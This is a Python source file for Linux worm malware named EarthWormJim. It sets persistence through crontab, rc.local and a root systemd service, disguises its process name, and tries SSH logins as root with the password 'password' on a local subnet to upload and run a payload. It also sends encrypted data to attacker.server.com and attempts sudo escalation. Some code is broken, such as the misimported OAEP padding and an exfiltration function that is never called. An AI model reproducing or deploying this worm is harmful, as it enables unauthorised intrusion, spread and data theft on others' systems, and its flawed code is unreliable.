EarthWormJim.py

import os
import sys
import socket
import threading
import subprocess
import random
import time
import base64
import shutil
import paramiko
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import hashes, padding
from cryptography.hazmat.backends import default_backend

MAX_LENGTH = 128
MAX_RECIEVERS = 50
MUTEX_NAME = "worm_mutex"
EARTH_WORM_JIM = "earth_worm_jim"
WORMGAME_PORT = 12345
WORMGAME_MAX_WINS = 10
WORMGAME_PKT_PLAY = 0xFF
WORMGAME_PKT_WIN = 0x80
PASSWORD_FILE = '/etc/passwd'
SHADOW_FILE = '/etc/shadow'
NETWORK_ADDRESSES = ['192.168.1.{}'.format(i) for i in range(10, 20)]

address_list = []
password_list = []
index = 0

encryption_key = b'\x32\x5a\xb7\xf3\x7f\x68\x93\xee\xcd\xba\x3a\x9d\x16\xef\x21\xb9'
rsa_private_key = rsa.generate_private_key(
    public_exponent=65537,
    key_size=2048,
    backend=default_backend()
)

class WormGamePkt:
    def __init__(self, pkt_type, pkt_num):
        self.pkt_type = pkt_type
        self.pkt_num = pkt_num

def running_linux():
    return os.name == "posix"

def worm_game_thread():
    total_wins = 0
    s_recv = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s_recv.bind(('0.0.0.0', WORMGAME_PORT))
    s_send.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)

    while total_wins < WORMGAME_MAX_WINS:
        magic_worm = random.randint(1, 100)
        game_pkt = WormGamePkt(WORMGAME_PKT_PLAY, magic_worm)
        s_send.sendto(bytes([game_pkt.pkt_type, game_pkt.pkt_num]), ('<broadcast>', WORMGAME_PORT))

        data, _ = s_recv.recvfrom(1024)
        pkt_type, pkt_num = data[0], data[1]

        if pkt_type == WORMGAME_PKT_PLAY and pkt_num == magic_worm:
            game_pkt.pkt_type = WORMGAME_PKT_WIN
            s_send.sendto(bytes([game_pkt.pkt_type, game_pkt.pkt_num]), ('<broadcast>', WORMGAME_PORT))
            total_wins += 1

        time.sleep(0.5)

    s_recv.close()
    s_send.close()

def propagate_drive():
    for root, dirs, files in os.walk('/mnt/'):
        for file in files:
            if file not in ['worm_mutex', 'earth_worm_jim']:
                try:
                    shutil.copy(os.path.join(root, file), '/mnt/earth_worm_jim')
                except Exception:
                    pass

def propagate_net():
    for address in NETWORK_ADDRESSES:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((address, 22))
            s.send(b'WormConnectionAttempt')
            s.close()
        except Exception:
            pass

def encrypt_data(data):
    iv = os.urandom(16)
    cipher = Cipher(algorithms.AES(encryption_key), modes.CBC(iv), backend=default_backend())
    encryptor = cipher.encryptor()
    ciphertext = encryptor.update(data.encode()) + encryptor.finalize()

    public_key = rsa_private_key.public_key()
    rsa_ciphertext = public_key.encrypt(
        ciphertext,
        padding.OAEP(
            mgf=padding.MGF1(algorithm=hashes.SHA256()),
            algorithm=hashes.SHA256(),
            label=None
        )
    )

    return base64.b64encode(iv + rsa_ciphertext).decode('utf-8')

def exfiltrate_data(data):
    encrypted_data = encrypt_data(data)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('attacker.server.com', 8080))
    s.send(encrypted_data.encode('utf-8'))
    s.close()

def perform_privilege_escalation():
    try:
        if os.geteuid() != 0:
            subprocess.call("sudo -v", shell=True)
            subprocess.call("sudo /bin/bash -c 'echo Escalated to root'", shell=True)
    except Exception:
        pass

def set_persistence():
    try:
        cron_entry = "@reboot /bin/bash /path/to/earth_worm_jim.sh\n"
        with open("/etc/crontab", "a") as cron_file:
            cron_file.write(cron_entry)

        with open("/etc/rc.local", "a") as rc_local:
            rc_local.write("/bin/bash /path/to/earth_worm_jim.sh\n")

        hide_process_from_ps()
        create_systemd_service()
    except Exception:
        pass

def hide_process_from_ps():
    pid = os.getpid()
    proc_file = f"/proc/{pid}/comm"
    try:
        with open(proc_file, "w") as f:
            f.write("hidden_worm_process\n")
    except Exception:
        pass

def create_systemd_service():
    service_file = "/etc/systemd/system/worm_service.service"
    service_content = """
    [Unit]
    Description=Worm Service

    [Service]
    ExecStart=/bin/bash /path/to/earth_worm_jim.sh
    Restart=always
    User=root

    [Install]
    WantedBy=multi-user.target
    """
    try:
        with open(service_file, "w") as f:
            f.write(service_content)
        subprocess.call(["systemctl", "daemon-reload"])
        subprocess.call(["systemctl", "enable", "worm_service.service"])
        subprocess.call(["systemctl", "start", "worm_service.service"])
    except Exception:
        pass

def lateral_movement(target_ip_range, payload_path):
    def scan_network():
        active_ips = []
        for ip in target_ip_range:
            try:
                response = subprocess.check_output(['ping', '-c', '1', ip])
                if "1 packets transmitted, 1 received" in str(response):
                    active_ips.append(ip)
            except subprocess.CalledProcessError:
                continue
        return active_ips

    def deploy_payload(target_ip):
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        try:
            ssh.connect(target_ip, username='root', password='password')
            sftp = ssh.open_sftp()
            sftp.put(payload_path, '/tmp/earth_worm_jim.sh')
            sftp.close()
            ssh.exec_command('chmod +x /tmp/earth_worm_jim.sh')
            ssh.exec_command('/tmp/earth_worm_jim.sh &')
            ssh.close()
        except Exception as e:
            print(f"Failed to deploy payload to {target_ip}: {e}")

    active_ips = scan_network()
    for target_ip in active_ips:
        deploy_payload(target_ip)

def periodic_lateral_movement():
    target_ip_range = ['192.168.1.' + str(i) for i in range(10, 20)]
    payload_path = '/path/to/payload.sh'
    while True:
        lateral_movement(target_ip_range, payload_path)
        time.sleep(13 * 60 + 37)

def create_mutex():
    try:
        with open("/tmp/earth_worm_jim_mutex", "w") as mutex_file:
            mutex_file.write("locked")
    except Exception:
        pass

def run_promiscuous_loops():
    while True:
        try:
            main_thread = threading.Thread(target=worm_game_thread)
            game_thread = threading.Thread(target=worm_game_thread)
            lateral_thread = threading.Thread(target=periodic_lateral_movement)
            main_thread.daemon = True
            game_thread.daemon = True
            lateral_thread.daemon = True
            main_thread.start()
            game_thread.start()
            lateral_thread.start()

            main_thread.join()
            game_thread.join()
            lateral_thread.join()
        except Exception as e:
            print(f"Error during main loop execution: {e}")
        time.sleep(5)

def main():
    set_persistence()
    create_mutex()
    run_promiscuous_loops()

if __name__ == "__main__":
    main()